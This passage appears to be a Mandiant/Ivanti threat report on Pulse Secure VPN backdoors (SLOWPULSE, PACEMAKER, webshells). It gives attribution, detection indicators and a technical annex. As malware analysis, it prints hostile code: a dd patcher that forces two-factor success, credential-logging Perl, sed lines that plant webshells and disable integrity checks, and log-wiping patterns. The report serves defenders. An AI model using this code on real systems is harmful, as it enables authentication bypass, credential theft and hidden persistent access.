This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword. Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker.


Figure 3: ACE Auth Credential Log

SLOWPULSE Variant 3

ACE Two Factor Auth Bypass

This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword. The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided. With this modification the attacker can spoof successful authentication.


Figure 4: ACE Auth Bypass Variant

SLOWPULSE Variant 4

RealmSignin Two Factor Auth Bypass

This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN. The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication. We believe that this may be a two-factor authentication bypass.


Figure 5: RealmSignIn 2FA Auth Bypass

Attribution

We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families. Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances.

Mandiant is able to assess that:

  • UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021.
    • We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5
  • UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP.
    • We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group.
  • We do not have enough information about the use of LOCKPICK to make an attribution statement.
UNC2630

UNC2630’s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5. We have also uncovered limited evidence to suggest that UNC2630 operates on behalf of the Chinese government. Analysis is still ongoing to determine the full scope of the activity that maybe related to the group.

Although we are not able to definitively connect UNC2630 to APT5, or any other existing APT group, a trusted third party has uncovered evidence connecting this activity to historic campaigns which Mandiant tracks as Chinese espionage actor APT5. While we cannot make the same connections, the third party assessment is consistent with our understanding of APT5 and their historic TTPs and targets.

APT5 has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances. They have also consistently targeted defense and technology companies in the U.S., Europe, and Asia.

  • As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform.
  • In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities. During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers.
  • Also during this time, APT5 stole files related to military technology from a South Asian defense organization. Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs).
  • APT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S.

Recommendations

All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible. Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021. If a device fails this Integrity Assurance utility, network administrators should follow the instructions here and contact their Pulse CSR for additional guidance.

Organizations should examine available forensic evidence to determine if an attacker compromised user credentials. Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability.

Additional detections, mitigations and relevant MITRE ATT&CK techniques are included in the Technical Annex. Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected. Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page.

Detections and Mitigations

1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc

  • HARDPULSE contains an embedded 'recovery' URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> that may be accessed by an attacker. The sample uses the POST parameters checkcode, hashid, m, and filename. This URL is not present in legitimate versions of this file.

7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b

  • PULSEJUMP, RADIALPULSE AND PACEMAKER use the following files to record credentials:
    • /tmp/dsactiveuser.statementcounters
    • /tmp/dsstartssh.statementcounters
    • /tmp/dsserver-check.statementcounters

cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68

  • The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.

a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1

  • Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent:

Key

Value

REQUEST_METHOD

POST

HTTP_X_KEY

<BackdoorKey>

HTTP_X_CNT

<RC4Key>

HTTP_X_CMD

<RC4Command>

1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd

  • SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n.

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

  • PACEMAKER is saved at filepath /home/bin/memread
  • Executed with commandline flags –t, -m, -s
  • Attaches to victim processes with PTRACE and opens subfiles in /proc/

88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079

  • THINBLOOD creates the files:
    • /home/runtime/logs/log.events.vc1
    • /home/runtime/logs/log.events.vc2
    • /home/runtime/logs/log.access.vc1
    • /home/runtime/logs/log.access.vc2
  • Executes the system API with the mv command specifying one of the files above, targeting:
    • /home/runtime/logs/log.access.vc0
    • /home/runtime/logs/log.events.vc0
  • Executes the rm command specify one of the .vc1 files above

133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a

  • SLIGHTPULSE uses /tmp/1 as command execution log
  • All POST requests to meeting_testjs.cgi are suspicious
  • POST parameters: cert, img, name are used by malicious logic
  • Responses to the endpoint with the name parameter respond with no-cache and image/gif

1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9

  • THINBLOOD execution of sed on the files:
    • log.events.vc0
    • log.access.vc0
    • Log.admin.vc0
  • Sed patterns used:
    • s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g
    • s/\x<hex_char>\x00[^\x00]*<regex_string>[^\x00]*\x09\x<hex_char>\x00//g

06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7

  • The sample accepts an input and output file as its first and second arguments, then writes a patched version of the input out. The commandline argument e or E must be supplied as the fourth argument. Example command line:
    • ./patcher input.bin output.bin backdoorkey e

f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90

  • The sample uses the HTTP query parameter id and responds with HTTP headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".

224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7

78d7c7c9f800f6824f63a99d935a4ad0112f97953d8c100deb29dae24d7da282

705cda7d1ace8f4adeec5502aa311620b8d6c64046a1aed2ae833e2f2835154f

  • Execute sed on PulseSecure system files
  • Remounts filesystem as writable: system("/bin/mount -o remount,rw /dev/root /")
  • Unexpected execution of other system commands such as tar, cp, rm

MITRE ATT&CK Techniques

The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717.

  • T1003-OS Credential Dumping
  • T1016-System Network Configuration Discovery
  • T1021.001-Remote Desktop Protocol
  • T1027-Obfuscated Files or Information
  • T1036.005-Match Legitimate Name or Location
  • T1048-Exfiltration Over Alternative Protocol
  • T1049-System Network Connections Discovery
  • T1053-Scheduled Task/Job
  • T1057-Process Discovery
  • T1059-Command and Scripting Interpreter
  • T1059.003-Windows Command Shell
  • T1070-Indicator Removal on Host
  • T1070.001-Clear Windows Event Logs
  • T1070.004-File Deletion
  • T1071.001-Web Protocols
  • T1082-System Information Discovery
  • T1098-Account Manipulation
  • T1105-Ingress Tool Transfer
  • T1111-Two-Factor Authentication Interception
  • T1133-External Remote Services
  • T1134.001 Access Token Manipulation: Token Impersonation/Theft
  • T1136-Create Account
  • T1140-Deobfuscate/Decode Files or Information
  • T1190-Exploit Public-Facing Application
  • T1505.003-Web Shell
  • T1518-Software Discovery
  • T1554-Compromise Client Software Binary
  • T1556.004-Network Device Authentication
  • T1592.004 Gather Victim Host Information: Client Configurations
  • T1562 Impair Defenses
  • T1569.002-Service Execution
  • T1574 Hijack Execution Flow 
  • T1600-Weaken Encryption


Figure 6: MITRE ATT&CK Map

Technical Annex

SLIGHTPULSE

The file meeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a) is a webshell capable of arbitrary file read, write, and command execution. Malicious logic is inserted at the end of legitimate logic to respond to POST requests. We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to its functionality.

The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code. If GET requests are performed the legitimate logic is still invoked. POST requests have a series of parameters checked for existence to determine which command to invoke. This logic is:

POST params

Invoked Command

cert

writefile

img, name with nonempty value

readfile

img set to empty string "", name

execcmd

anything else

invoke original legitimate logic


Figure 7: Webshells respond to POSTs

All incoming and outgoing requests are base64 encoded/decoded and RC4 encrypted/decrypted. The scheme is simple. The first six characters of the data are a random key generated per request as a sort of nonce, with the static RC4 key appended. This nonce + phrase together act as the RC4 key. The phrase is not sent over the wire, only the nonce. This entire key is then used to encrypt/decrypt payload data that immediately follows the key. The form of data on the wire is:

Outbound/Inbound:

<6randbytes><encrypted_data>
^-RC4NONCE-^

Usage:

<6randbytes><rc4_phrase><encrypted_data>
^-------RC4 KEY--------^

ReadFile

This command accepts a base64 encoded, RC4 encrypted file name via the img parameter and opens it for read. The file contents are read in full then sent back to the attacker as base64 encoded, RC4 encrypted data with the headers "Content-type: application/x-download\n", and form header "Content-Disposition: attachment; filename=tmp\n\n".

WriteFile

This command accepts a base64 encoded, RC4 encrypted filename via the cert parameter, and base64 encoded, RC4 encrypted file data via the parameter md5. The filename is opened in write mode with the file data being written to the file before the file is closed. The results of this command are sent back to the attacker, using the headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".

Execute

This command accepts a base64 encoded, RC4 encrypted commands via the name parameter. The malicious logic forbids the cd command and will respond with the text Error 404 if executed. All other commands will be executed via the system API with output piped to the file /tmp/1. The full system command is <command> >/tmp/1 2>&1. The output of this execution is read and sent back to the attacker base64 encoded, RC4 encrypted. The headers "Cache-Control: no-cache\n" and "Content-type: image/gif\n\n" are used. The response appears to be masquerading as a GIF when sending back this command output.

RADIALPULSE

The file with the SHA256 hash d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords and information associated with logins to this application to be written to the file /tmp/dsstartssh.statementcounters.

Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell. Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage.

An excerpt of the code related to credential stealing is shown as follows:

my $realmName1 = $signin->getRealmInfo()->{name};     

open(*fd, ">>/tmp/dsstartssh.statementcounters");      

syswrite(*fd, "realm=$realmName1 ", 5000);         

syswrite(*fd, "username=$username ", 5000);        

syswrite(*fd, "password=$password\n", 5000); 

close(*fd);

SLOWPULSE Variant 1

The file libdsplibs.so with SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 is a trojanized ELF shared object belonging to the PulseSecure VPN server. The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded. If the backdoor password is not used, authentication will fail as normal.

In multiple locations assembly is written into the padding regions between legitimate functions. As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions. The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic. By preserving registers and flags in this way the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only effecting the control flow in specific conditions. This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively.

LDAP Auth Bypass

In the typical execution of DSAuth::LDAPAuthServer::authenticate the legitimate application constructs the C++ object DSAuth::LDAPAuthServer::ldap then passes it to DSLdapServer::bind with the username and password for login. This bind may fail or succeed which determines the authentication failure or success of the LDAP protocol. The malicious logic inserted into the application redirects execution before DSLdapServer::bind just after the ldap object is constructed. At this point in execution the username and password are easily extracted from memory with mid-function hooking techniques, which the sample copies to a code cave in memory between two functions as a temporary storage location. The malicious logic then invokes DSLdapServer::bind as the normal logic would, which sets the return register EAX to 0 or 1 for failure or success. A check is then executed where the temporary password copy made earlier is checked against a hardcoded backdoor password. If this check passes the backdoor logic actives by overwriting EAX to 1 to force the application down the execution path of successful authentication, even though in reality authentication failed.

RADIUS Two Factor Auth Bypass

In the typical execution of DSAuth::RadiusAuthServer::checkUsernamePassword the legitimate application sends a RADIUS-2FA auth packet with username and password via RadiusAuthPacket::sendRadiusPacket. The response is then retrieved and parsed by the routine DSAuth::RadiusAuthServer::handleResponse. After packet retrieval the packet type is verified to be 3, it's not known what this packet type specifies but this is the packet type of a successful authentication response. If the packet type check passes, then the sample reads a field of the packet that specifies if authentication was successful or not and then checks this status later. The inserted malicious logic hijacks execution just after DSAuth::RadiusAuthServer::handleResponse where the password sent to the RADIUS server is checked against a backdoor password. If this check passes the malicious logic overwrites the retrieved packet with values indicating that it's of type 3 and that authentication was successful. The malicious logic then rejoins the original execution flow where the packet type is checked. If written the spoofed values force the application down the execution path of successful authentication, even though in reality authentication failed.

SLOWPULSE Variant 2

ACE Two Factor Auth Credential Logging

We also identified a variant of SLOWPULSE (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd) which logs credentials used during ACE-2FA protocol authentication.

The backdoor is implemented in the routine DSAuth::AceAuthServer::checkUsernamePassword. As part of the login procedure the username and password are retrieved then written into a map entry structure. The backdoor inserts an unconditional jump into the logon logic that takes this map entry structure, reads the username and password fields, then writes them to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n. The backdoor then unconditionally jumps back into the normal control flow to continue the logon process as normal.

SLOWPULSE Variant 3

ACE Two Factor Auth Bypass

We Identified another variant of SLOWPULSE (SHA256: b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9) which is similar to SLOWPULSE VARIANT 2 the malicious logic lives within DSAuth::AceAuthServer::checkUsernamePassword, however this variant bypasses the logon procedure rather than login credentials. Typical execution of this routine calls DsSecID_checkLogin to validate the username and password which sets the EAX register to 1. The routine DSAuth::AceAuthServer::handleACEAuthResult then checks EAX to determine if auth was successful or not. The malicious logic hijacks execution immediately after the username and password fields are written to their map entries, then checks if the password matches the backdoor password. If the password matches, then the EAX register is overwritten to 1. This puts the program in the same state as if DsSecID_checkLogin had successfully executed, but unlike SLOWPULSE VARIANT 1 the original authentication routine is not called at all. The malicious logic then rejoins execution before DSAuth::AceAuthServer::handleACEAuthResult which will now pass. This forces the application down the execution path of successful authentication, even though in reality authentication would have failed.

SLOWPULSE Variant 4

RealmSignin Two Factor Auth Bypass

We identified a fourth variant of SLOWPULSE responsible for bypassing what may be the two-factor authentication step of the DSAuth::RealmSignin process. The backdoor is present within the function DSAuth::RealmSignin::runSigninStep.This routine is responsible for multiple steps of the login procedure and is implemented as a large switch statement. Case 11 of the switch statement typically calls the routines DSMap::setPrivacyKeyNames then DSAuth::RealmSignin::runSecondaryAuth. The malicious logic in this variant overwrites the call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This forces application flow as if DSAuth::RealmSignin::runSecondaryAuth always succeeds, without ever calling it. We were not able to recover a file with these patches applied as the attacker removed their patches after use. However, we did uncover both the patcher and unpatcher utilities. We do not provide a hash for this file as we have not recovered it from a system in the field. This analysis was performed by replaying the changes performed by the patcher we did recover.

SLOWPULSE Variant 2 Patcher

As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722c is responsible for inserting SLOWPULSE V2 malicious logic to log ACE credentials. The patcher accepts two command line arguments, the path to the original binary and the patched output file path. The original binary is read into memory, patched, and then written to the output path. The assembly patches and offsets into the original binary are hardcoded.

SLOWPULSE Variant 3 Patcher

 As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 is responsible for inserting SLOWPULSE V3 malicious logic to bypass ACE logon authentication process. The patcher accepts four arguments. The first argument is the original binary path, the second the patched output file path, third is the backdoor bypass password, and fourth is the letter e specifying to apply patches. The sample reads the original binary into memory, applies the assembly patches associated with SLOWPULSE V3, as well as the provided bypass password, then written to the output path. The assembly patches, and all offsets including where to copy the bypass password are hardcoded.

SLOWPULSE Variant 4 Patcher

As part of our investigation into the SLOWPULSE family we recovered the utility the attacker used to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415 responsible for inserting the patch for SLOWPULSE V3. The patch applied overwrites a single call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This patcher utility is a simple bash script, unlike the previous patchers which were compiled applications likely written in C. The script in full is:

printf '\xB8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\x01' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

SLOWPULSE Variant 4 UnPatcher

As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to remove the malicious logic into the original libdsplibs.so file for SLOWPULSE V4. The attacker chose to remove the patches applied to libdsplibs.so. The file with SHA256: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062a is the unpatcher utility for SLOWPULSE V4. This sample is also a simple bash script, in full it is:

printf '\xE8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\xE2' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\x08' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\xD0' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))
printf '\xFF' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

STEADYPULSE

The file licenseserverproto.cgi (SHA256: 168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc) is a webshell implemented via modification of a legitimate Perl script used by a Pulse Secure tool which enables arbitrary command execution.

The attacker inserted two blocks of Perl code that implement the webshell. The source code modifications are surrounded by comments that indicate the start and end of inserted code. The comment strings used are ##cgistart1, ##cgiend1, ##cgistart2 and ##cgiend2. Although the exact purpose of these comment strings is unknown, the attacker may use them to facilitate updates to the malicious code or to allow for its quick removal if necessary.

  • The Perl script enclosed in the tags ##cgistart1 and ##cgiend1 adds several lines to import Perl modules that are used by the webshell. It also adds a function to parse parameters of received command data.
  • The script enclosed in the tags ##cgistart2 and ##cgiend2 is responsible for checking web requests designed to be executed by the webshell, if present. If no webshell request is found, the script passes execution to the legitimate Perl script for the webpage.

The webshell portion of the script is invoked when it receives a form submission name=value pair of serverid matching a secret key. This causes the webshell to extract the string passed to it via the QUERY_STRING CGI environment variable. Individual key/value pairs delimited by the & character and are URL decoded. Although the script parses out all key/value pairs it receives, it specifically looks for and extracts data associated with the cmd parameter. If found, it will generate a form containing the extracted cmd to be executed and the previous serverid value along with a form submission button named Run. Upon submission, the webshell will execute the passed command on the victim host's command line and display the results to the attacker before exiting. If no cmd value was extracted, the webshell will simply output a </pre> HTML tag.

PULSECHECK

The file secid_canceltoken.cgi (SHA256: a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1) is a webshell written in Perl that enables arbitrary command execution. With a properly formatted request, the script will execute webshell code. Otherwise, the legitimate welcome page of the Pulse Secure VPN software is presumably invoked.

The script checks for web requests using the HTTP POST method and, if found, will further check the HTTP request headers for the CGI environment variable HTTP_X_KEY. If this header matches a backdoor key, then the malware will output the result of the command sent in the variable HTTP_X_CMD. This data is RC4 encrypted and base64-encoded. The passphrase to decrypt is sent in the environment variable HTTP_X_CNT. The webshell will set the content type to Content-type:text/html and the command output printed. Following this, the script exits.

QUIETPULSE

The file dsserver (SHA256: 9f6ac39707822d243445e30d27b8404466aa69c61119d5308785bf4a464a9ebd) is a legitimate Perl script with malicious modifications to fork the child process /home/bin/dshelper. The dshelper script does not exist on a clean PulseSecure installation, this file is described as QUIETPULSE Utility Script.

QUIETPULSE Utility Script

The file dshelper (SHA256: c774eca633136de35c9d2cd339a3b5d29f00f761657ea2aa438de4f33e4bbba4) is a shell script invoked by a malicious version of dsserver that primarily functions as a utility script responsible for copying files and executing commands. Like the ATRIUM patcher, this script accesses /tmp/data, a path which is used during a system upgrade. This file is therefore, like the ATRIUM patcher, used by the attacker to maintain persistence. The script is set to execute in a loop where four main checks are executed every two minutes. The checks are as follows:

Check 1

If /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi exists and is non-empty then execute:

  • grep -c -s 'system($depara)' /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

It checks if the file has the contents system($depara). If the file does not contain this content, then retrieve the first line of the file by executing:

  • sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Then copy a file via:

  • cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Then replace the copy’s first line with the one retrieved from the sed above via:

  • sed -i 1c"<varies>" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Check 2

If /tmp/data/root/home/bin/ exists as a directory, then check if the file /tmp/data/root/home/bin/dshelper does not exist. If it does not exist, then place it there by copying a file via:

  • cp -p /home/bin/dshelper /tmp/data/root/home/bin/

Check 3

If /tmp/data/root/home/bin/dsserver exists and is non-empty then execute the following to check if the file does not contain the string exec("/home/bin/dshelper"):

  • grep -c -s 'exec("/home/bin/dshelper")' /tmp/data/root/home/bin/dsserver

If it doesn't then execute to insert the line:

  • sed -i 's/for (;;)/my $monpid = fork();\nif ($monpid == 0) {\nexec(\"\/home\/bin\/dshelper\");\n}\n&/g' /tmp/data/root/home/bin/dsserver

Check 4

If the file /tmp/data/root/home/bin/check_integrity.sh exists and is non-empty, then check if the file contains the string exit 1 by executing:

  • grep -c -s 'exit 1' /tmp/data/root/home/bin/check_integrity.sh

If the file does contain this content, then execute the following to switch the content to exit 0:

  • sed -i 's/exit 1/exit 0/g' /tmp/data/root/home/bin/check_integrity.sh
PULSEJUMP

The file with SHA256: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a is a system information and credential harvesting Perl script. The sample writes information from multiple sources to the file /tmp/dsactiveuser.statementcounters in append mode.

The sample begins by retrieving all auth servers via the API AuthAdmin::getAllAuthServers. and logs the results. Next, the sample logs all roles via the API DSRole::GeneralAdmin::getRoles and writes the values to the file. The sample may also retrieve and log additional information depending on the device configuration.

HARDPULSE

The file compcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc) has the ability to read and write arbitrary files and may execute arbitrary commands depending on the implementation of a particular library function.

The sample responds to HTTP GETs and PUTs. The GET path is not relevant, but the PUT path first checks if the incoming requests checkcode POST param is equal to a hardcoded passcode. If this check passes the sample inspects the param hashid to determine if it's non-empty. If non-empty the sample displays a prompt to the user that includes hardware information and then base64 decodes the param hashid and checks it against pulsesecure. If this matches a recoveryToken is generated which is the MD5 hash of 16 random bytes, with the result hash truncated to 8 characters. This token is then displayed to the user via the URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> and the sample exits. If this check did not match then the sample passes the base64 decoded data to a routine DSSafe::psystem which may execute shell commands, however this implementation is not provided and is speculation.

If the param hashid is empty the sample instead checks that the param m is non-empty. If so, it's matched against get and put which will read/write arbitrary files to the host, respectively.

ATRIUM

The file compcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90) is a webshell capable of arbitrary command execution. The sample has malicious logic inserted at the end of legitimate logic. The malicious logic inspects all requests of any type looking for the HTTP query parameter id. If this query parameter exists, the sample executes it verbatim on using the system API. The sample does not encode or obfuscate the command in any way. If the query parameter is not found in the request, then the original legitimate logic is invoked.

Persistence Patcher

The file DSUpgrade.pm (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450) is a patcher utility script responsible for persisting webshells across a system upgrade. We’ve observed variants of this utility targeting the persistence of multiple webshell families, notably ATRIUM, STEADYPULSE, and PULSECHECK. Like previous patchers, this sample uses sed to insert malicious logic. The attacker likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the attacker to maintain access to the system across updates.

my $cmd_x="sed -i '/echo_console \"Saving package\"/i(
    sed -i \\\'/main();\\\$/cif(CGI::param(\\\\\"id\\\\\")){
        print \\\\\"Cache-Control: no-cache\\\\\\\\n\\\\\";
        print \\\\\"Content-type: text/html\\\\\\\\n\\\\\\\\n\\\\\";
        my \\\\\$na=CGI::param(\\\\\"id\\\\\");
        system(\\\\\"\\\\\$na\\\");
    } else{
        &main();
    }\\\' /tmp/data/root$cgi_p;
    cp -f /home/perl/DSUpgrade.pm /tmp/data/root/home/perl;
    cp -f /pkg/dspkginstall /tmp/data/root/pkg/;
)'/pkg/do-install";

The patcher also performs additional shell commands for unpacking a compressed package:

system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar", "-xzf", "/tmp/new-pack.tgz", "-C", "/tmp","./installer");
system("cp -f /tmp/installer/do-install /pkg/");
system("cp -f /tmp/installer/VERSION /pkg/");
system("cp -f /tmp/installer/sysboot-shlib /pkg/");
system("cp -f /tmp/installer/losetup /pkg/");

PACEMAKER

The file memread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2) is a credential stealer. The sample has the usage information:

Usage: memread [-t time(minute)] [-m size(MB)] [-s sleep_interval(second)]

The sample starts by setting an alarm that kills the application after a configurable number of minutes, 14 by default. It then enters a loop which reads /proc/ entries every 2 seconds looking for a target application, this interval is also configurable. The target is found by opening /proc/<process_name>/cmdline for each entry in the folder and then reading this file looking for the string dswsd within the command line. Once found the target application's proc/<target_pid>/mem is opened, the process is attached to with PTRACE, then memory read in chunks up to 512 bytes in size. For each chunk, the string 20 30 20 0A 00 ( 0 \n) is searched for as a needle. If found the sample splits the data by first space, then a dash -. Two dashes are expected to be found, and these are immediately converted into hex numbers, example form: -<number>. If the second number minus the first is > 8191 the sample reads the data starting at the file offset of the first number, up to a size specified by second number minus first number.

Once the sample has read the process memory and found all memory data of interest the sample detaches PTRACE then the sample begins memory scanning the copied data. The sample tries to locate a sequence of 'flags' in memory one by one to locate what seem to be information the attacker wishes to steal. This information is not known, nor is the structure of it. The sequences scanned for generally have start and end scan sequences which in order scanned for, are:

USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00
USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00
PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00
AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00

If all these sequences are found, the data between the start and end is extracted and eventually formatted and written to the file /tmp/dsserver-check.statementcounters. The approximate format of this data is:

Name:<username> || Pwd:<password> || AuthNum:<authnumber>\n

The sample replaces the following URL encoded values with their ascii representation for the password:

&amp; ->  &
&lt;  ->  <
&gt;  ->  >

PACEMAKER Launcher Utility

As part of our investigation into PACEMAKER we were able to retrieve a simple bash script responsible for launching the credential stealer. The launcher script hash SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ec launches PACEMAKER from a hardcoded path with options specifying a 16MB memory read size and a memory scan interval of 2 seconds, with a variable self-kill time.

#!/bin/bash

/home/bin/memread -t $1 -m 16 -s 2 &

THINBLOOD Log Wiper Utility

